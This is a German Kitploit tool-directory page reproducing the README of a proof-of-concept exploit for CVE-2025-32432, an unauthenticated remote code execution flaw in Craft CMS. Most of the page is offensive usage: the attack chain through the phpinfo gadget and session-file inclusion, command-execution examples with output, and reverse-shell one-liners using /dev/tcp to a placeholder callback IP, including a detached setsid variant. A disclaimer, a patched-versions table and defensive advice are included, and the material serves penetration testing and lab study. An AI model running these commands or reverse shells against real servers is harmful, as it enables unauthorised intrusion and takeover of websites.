Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-32432-POC — Single-target proof of concept für CVE-2025-32432, eine Remote-Codeausführung ohne Authentifizierung in Craft CMS. Führt die Schwachstellenbestätigung über das phpinfo-Gadget und optionale Befehlsausführung über eine Session-File-Include-Kette durch. | Kitploit
Tools/GitHubGitHub/theeomega/cve-2025-32432-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubtheeomega/cve-2025-32432-poc

CVE-2025-32432-POC

Single-target proof of concept für CVE-2025-32432, eine Remote-Codeausführung ohne Authentifizierung in Craft CMS. Führt die Schwachstellenbestätigung über das phpinfo-Gadget und optionale Befehlsausführung über eine Session-File-Include-Kette durch.

Repository anzeigen
1vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Craft CMS CVE-2025-32432 Single-Target PoC

Nur für autorisierte Tests. Dieses Repository ist für kontrollierte Laborumgebungen, CTF-Plattformen wie Hack The Box, interne Validierung und defensive Überprüfungen gedacht. Führen Sie dies nicht gegen Systeme aus, die Sie nicht besitzen oder für die Sie keine explizite Berechtigung zum Testen haben.

Übersicht

Dieses Projekt enthält einen Single-Target-Proof-of-Concept für CVE-2025-32432, ein Pre-Authentifizierungs-Problem mit Remote-Codeausführung in Craft CMS.

Der PoC führt zwei Schritte aus:

  1. Bestätigung der Schwachstelle mittels eines phpinfo()-Gadgets über den Asset-Transform-Generierungsendpunkt von Craft CMS.
  2. Optionale Befehlsausführung mittels einer zweistufigen Session-Datei-Include-Kette.

Das Skript vermeidet ein häufiges False-Negative-Problem, das in einigen öffentlichen PoCs auftritt: Eine normale Bildtransformationsanfrage kann 404 zurückgeben, während derselbe Endpunkt und dieselbe assetId noch funktionieren, wenn die tatsächliche Gadget-Payload verwendet wird.

Betroffene Versionen

Laut der offiziellen Craft CMS Advisory und öffentlichen Advisory-Datenbanken sind folgende Versionen betroffen:

Craft CMS-BranchBetroffene VersionenKorrigierte Version
3.x< 3.9.153.9.15
4.x< 4.14.154.14.15
5.x< 5.6.175.6.17

Führen Sie sofort ein Upgrade auf eine behobene Version durch, wenn Sie für eine Craft-CMS-Installation verantwortlich sind.

Technische Zusammenfassung

Der PoC folgt diesem Ablauf:

root@kitploit:~
CSRF-Token holen
      |
      v
Endpunkt + assetId mit phpinfo-Gadget testen
      |
      v
Bestätigen, dass die verwundbare Antwort PHP Version / PHP License enthält
      |
      v
Craft-Session-Rückgabe-URL mit PHP-Payload vergiften
      |
      v
yii\rbac\PhpManager auslösen, um die PHP-Session-Datei einzubinden
      |
      v
Optionalen Befehl ausführen

Wichtige Implementierungsdetails:

  • Die Erkennung verwendet das phpinfo-Gadget, keine normale Transformationsanfrage.
  • Befehle werden als Hex übergeben, um die Abfragezeichenfolge nicht durch Leerzeichen, Anführungszeichen, Pipes oder kaufmännische Und-Zeichen zu beschädigen.
  • Die standardmäßig getesteten PHP-Session-Verzeichnisse sind:
    • /var/lib/php/sessions
    • /var/lib/php/session
    • /tmp
  • Eine Option --timeout ist für Reverse-Shell-Szenarien enthalten.

Dateien

root@kitploit:~
craftcms_cve_2025_32432_public_poc.py   Haupt-PoC für einzelne Ziele
README.md                               Projektdokumentation

Voraussetzungen

  • Python 3.9+
  • requests
  • urllib3

Abhängigkeiten installieren:

root@kitploit:~
python3 -m pip install requests urllib3

Verwendung

1. Nur-Prüf-Modus

Dies bestätigt die Schwachstelle nur mit dem phpinfo-Gadget.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

Erwartete erfolgreiche Ausgabe:

root@kitploit:~
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

Die phpinfo-Antwort wird gespeichert als:

root@kitploit:~
phpinfo_success.html

2. Einen einfachen Befehl ausführen

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

Beispiel einer erfolgreichen Ausgabe:

root@kitploit:~
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. Einen bekannten Endpunkt und eine bekannte Asset-ID verwenden

Verwenden Sie dies, wenn Sie die funktionierenden Werte bereits kennen.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. Benutzerdefinierter Front-Controller

Manche Ziele verwenden möglicherweise einen benutzerdefinierten Front-Controller wie x.php.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

Dies testet Routen wie:

root@kitploit:~
http://target.local/x.php?p=admin/actions/assets/generate-transform

5. Reverse-Shell-Verwendung

Starten Sie zuerst einen Listener:

root@kitploit:~
rlwrap -cAr nc -lvnp 12345

Führen Sie dann den PoC mit einem Reverse-Shell-Befehl aus:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 deaktiviert das Request-Timeout. Dies ist nützlich, da Reverse-Shells die HTTP-Anfrage oft offen halten.

Abgetrennte Variante:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

Optionen

OptionBeschreibungStandard
-u, --urlBasis-URL des ZielsErforderlich
-c, --cmdOptionaler Befehl, der nach phpinfo-Bestätigung ausgeführt werden sollKeiner
--frontFront-Controller-Dateinameindex.php
-s, --scan-maxMaximale assetId, die mit dem phpinfo-Gadget getestet werden soll50
-a, --assetBekannte funktionierende Asset-IDKeiner
--endpointBekannter funktionierender generate-transform-EndpunktKeiner
--session-dirPHP-Session-Verzeichnis. Kann mehrmals angegeben werdenIntegrierte Liste
--timeoutRequest-Timeout für die Befehlsauslösung. Verwenden Sie 0 für kein Timeout20

Fehlerbehebung

assetId 0 -> HTTP 404 während des normalen Scans

Verlassen Sie sich nicht auf eine normale Transformationsanfrage zur Erkennung. Manche Ziele geben 404 für einen normalen Transformationskörper zurück, führen aber trotzdem das Gadget-Payload aus.

Dieser PoC entdeckt gültige Kombinationen mit dem phpinfo-Gadget selbst.

phpinfo funktioniert, aber die Befehlsausführung schlägt fehl

Versuchen Sie, das Session-Verzeichnis manuell anzugeben:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

Dann versuchen Sie:

root@kitploit:~
--session-dir /var/lib/php/session

oder:

root@kitploit:~
--session-dir /tmp

Reverse-Shell verbindet sich, stirbt dann schnell

Verwenden Sie einen dieser Ansätze:

  1. Deaktivieren Sie das Request-Timeout:
root@kitploit:~
--timeout 0
  1. Verwenden Sie ein abgetrenntes Payload mit setsid oder nohup.

  2. Bestätigen Sie, dass Ihre Callback-IP korrekt ist:

root@kitploit:~
ip -br a | grep tun

Read-Timeout während der Reverse-Shell

Dies kann normal sein, wenn die Reverse-Shell erfolgreich verbunden wurde. Überprüfen Sie Ihren Listener, bevor Sie das Timeout als Fehler behandeln.

Befehlsausgabe fehlt

Versuchen Sie zuerst einen einfacheren Befehl:

root@kitploit:~
-c "id"
-c "whoami"
-c "pwd"

Wenn einfache Befehle funktionieren, komplexe jedoch fehlschlagen, setzen Sie den Befehl sorgfältig in Anführungszeichen oder verwenden Sie ein abgetrenntes Shell-Payload.

Beispiel für Laborausgabe

root@kitploit:~
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Defensive Anleitung

Wenn Sie eine Craft-CMS-Instanz verwalten:

  1. Führen Sie ein Upgrade auf Craft CMS 3.9.15, 4.14.15, 5.6.17 oder neuer durch.
  2. Überprüfen Sie die Web-Roots auf verdächtige PHP-Dateien oder Web-Shells.
  3. Überprüfen Sie PHP-Session-Verzeichnisse und Webserver-Logs auf verdächtige Anfragen an Asset-Transform-Routen.
  4. Rotieren Sie Geheimnisse aus .env und Datenbankanmeldeinformationen, wenn ein Missbrauch vermutet wird.
  5. Beschränken Sie nach Möglichkeit den öffentlichen Zugriff auf administrative Routen.
  6. Überprüfen Sie die Zeitstempel des Server-Dateisystems im mutmaßlichen Kompromittierungszeitraum.

Referenzen

  • Offizielle Craft CMS Advisory: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • GitHub Advisory Database: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
  • NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • SensePost technische Analyse: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

Haftungsausschluss

Dieses Projekt dient ausschließlich Bildungs-, Forschungs-, Labor- und defensiven Validierungszwecken. Der Autor übernimmt keine Verantwortung für Missbrauch. Testen Sie nur Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zur Bewertung haben.

Tool herunterladen